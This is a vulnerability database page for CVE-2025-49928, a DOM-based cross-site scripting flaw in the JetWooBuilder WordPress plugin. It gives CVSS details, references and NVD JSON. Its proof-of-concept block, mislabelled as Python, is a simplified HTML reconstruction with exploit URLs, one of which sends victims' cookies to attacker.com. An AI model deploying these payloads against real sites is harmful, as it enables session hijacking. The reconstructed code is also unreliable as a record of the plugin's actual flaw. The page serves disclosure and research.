CVE-2025-49928

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetWooBuilder jet-woo-builder allows DOM-Based XSS.This issue affects JetWooBuilder: from n/a through <= 2.1.20.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

JetWooBuilder <= 2.1.20

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-49928: JetWooBuilder DOM-Based XSS PoC -->
<!-- Attacker crafts a malicious URL containing JavaScript payload in the fragment identifier -->
<!-- The vulnerable JetWooBuilder frontend JS reads from location.hash and injects it into DOM without sanitization -->

<!-- Example malicious URL structure: -->
<!-- https://target-wordpress-site.com/any-page-with-jetwoo-builder/#<img src=x onerror=alert(document.cookie)> -->

<!-- Proof of Concept HTML (for demonstration in a controlled environment): -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-49928 PoC - JetWooBuilder DOM XSS</title>
</head>
<body>
    <!-- Simulating the vulnerable behavior: reading from location.hash and injecting into DOM -->
    <div id="jet-woo-builder-target"></div>
    <script>
        // Vulnerable code pattern (simplified representation of the flaw)
        // The plugin reads URL fragment and writes it directly to innerHTML
        var hashContent = location.hash.substring(1); // Unsanitized input from URL
        document.getElementById("jet-woo-builder-target").innerHTML = hashContent;
        // Malicious payload example: #<img src=x onerror="alert('XSS - CVE-2025-49928')">
    </script>

    <!-- Actual exploitation URL to be sent to victim: -->
    <!-- https://victim-site.com/shop/#<img src=x onerror=alert(document.domain)> -->
    <!-- For cookie theft: -->
    <!-- https://victim-site.com/shop/#<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)> -->
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49928
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49928
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49928/
[4] VulDB https://vuldb.com/cve/CVE-2025-49928
[5] https://patchstack.com/database/Wordpress/Plugin/jet-woo-builder/vulnerability/wordpress-jetwoobuilder-plugin-2-1-20-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49928", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:38.850", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetWooBuilder jet-woo-builder allows DOM-Based XSS.This issue affects JetWooBuilder: from n/a through <= 2.1.20."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/jet-woo-builder/vulnerability/wordpress-jetwoobuilder-plugin-2-1-20-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}